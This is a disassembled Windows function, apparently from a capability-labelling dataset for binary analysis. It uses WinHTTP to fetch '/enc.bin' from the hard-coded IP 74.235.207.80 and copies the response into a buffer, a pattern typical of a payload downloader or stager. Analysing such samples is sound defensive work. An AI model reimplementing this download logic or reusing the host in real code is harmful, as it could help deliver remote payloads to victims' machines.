Function at 0x140001543
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
push rbp
mov rbp, rsp
add rsp, 0xffffffffffffff80
movzx eax, word [0x140009084]
movsx edx, ax
lea rax, str._enc.bin
mov qword [rsp + 0x20], rax
mov r9d, edx
lea r8, str.74.235.207.80
lea rax, str.http
mov rdx, rax
lea rax, str._n___Downloading__ls:___ls:_d_ls_n
mov rcx, rax
call sym.printf
mov dword [rbp - 4], 0
mov dword [rbp - 0x34], 0
mov dword [rbp - 0x38], 0
mov dword [rbp - 8], 0
mov qword [rbp - 0x28], 0
mov qword [rbp - 0x10], 0
mov qword [rbp - 0x18], 0
mov dword [rbp - 0x1c], 0
mov dword [rbp - 0x3c], 0
lea rax, str.https
mov rdx, rax
lea rax, str.http
mov rcx, rax
call sym.wcscmp
test eax, eax
jne 0x1400015f1
mov dword [rbp - 0x1c], 0x800000
mov dword [rbp - 0x3c], 0x3300
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
lea rax, str.WinHTTP_Example_1.0
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpOpen]
call rax
mov qword [rbp - 0x28], rax
cmp qword [rbp - 0x28], 0
je 0x140001656
movzx eax, word [0x140009084]
movzx edx, ax
mov rax, qword [rbp - 0x28]
mov r9d, 0
mov r8d, edx
lea rdx, str.74.235.207.80
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpConnect]
call rax
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
je 0x14000169f
mov rax, qword [rbp - 0x10]
mov edx, dword [rbp - 0x1c]
mov dword [rsp + 0x30], edx
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r9, str.HTTP_1.1
lea r8, str._enc.bin
lea rdx, [0x14000a08a]
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
call rax
mov qword [rbp - 0x18], rax
lea rdx, [rbp - 0x3c]
mov rax, qword [rbp - 0x18]
mov r9d, 4
mov r8, rdx
mov edx, 0x1f
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpSetOption]
call rax
test eax, eax
jne 0x1400016cf
mov ecx, 0x1bb
call sym.exit
cmp qword [rbp - 0x18], 0
je 0x140001713
mov rax, qword [rbp - 0x18]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
call rax
mov dword [rbp - 8], eax
cmp dword [rbp - 8], 0
je 0x140001731
mov rax, qword [rbp - 0x18]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
call rax
mov dword [rbp - 8], eax
cmp dword [rbp - 8], 0
je 0x140001857
mov dword [rbp - 0x34], 0
lea rdx, [rbp - 0x34]
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
call rax
test eax, eax
jne 0x140001779
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.Error__u_in_WinHttpQueryDataAvailable._n
mov rcx, rax
call sym.printf
jmp 0x140001866
mov eax, dword [rbp - 0x34]
test eax, eax
je 0x140001862
mov eax, dword [rbp - 0x34]
add eax, 1
mov eax, eax
mov rcx, rax
call sym.malloc
mov qword [rbp - 0x30], rax
cmp qword [rbp - 0x30], 0
jne 0x1400017b3
lea rax, str.Out_of_memory_n
mov rcx, rax
call sym.printf
jmp 0x140001866
mov eax, dword [rbp - 0x34]
add eax, 1
mov edx, eax
mov rax, qword [rbp - 0x30]
mov r8, rdx
mov edx, 0
mov rcx, rax
call sym.memset
mov ecx, dword [rbp - 0x34]
lea r8, [rbp - 0x38]
mov rdx, qword [rbp - 0x30]
mov rax, qword [rbp - 0x18]
mov r9, r8
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpReadData]
call rax
test eax, eax
jne 0x140001802
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
jmp 0x1400018b0
mov dword [rbp - 0x20], 0
jmp 0x14000182d
mov eax, dword [rbp - 0x20]
movsxd rdx, eax
mov rax, qword [rbp - 0x30]
add rax, rdx
movzx eax, byte [rax]
movzx eax, al
mov ecx, eax
call sym.append
add dword [rbp - 4], 1
add dword [rbp - 0x20], 1
mov edx, dword [rbp - 0x20]
mov eax, dword [rbp - 0x34]
cmp edx, eax
jb 0x14000180b
mov rax, qword [rbp - 0x30]
mov rcx, rax
call sym.free
mov eax, dword [rbp - 0x38]
test eax, eax
je 0x140001865
mov eax, dword [rbp - 0x34]
test eax, eax
jne 0x14000173b
jmp 0x140001866
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
jmp 0x1400018b0
nop
jmp 0x140001866
nop
cmp qword [rbp - 0x18], 0
je 0x14000187d
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call rax
cmp qword [rbp - 0x10], 0
je 0x140001894
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call rax
cmp qword [rbp - 0x28], 0
je 0x1400018ab
mov rax, qword [rbp - 0x28]
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call rax
mov eax, 0
sub rsp, 0xffffffffffffff80
pop rbp
ret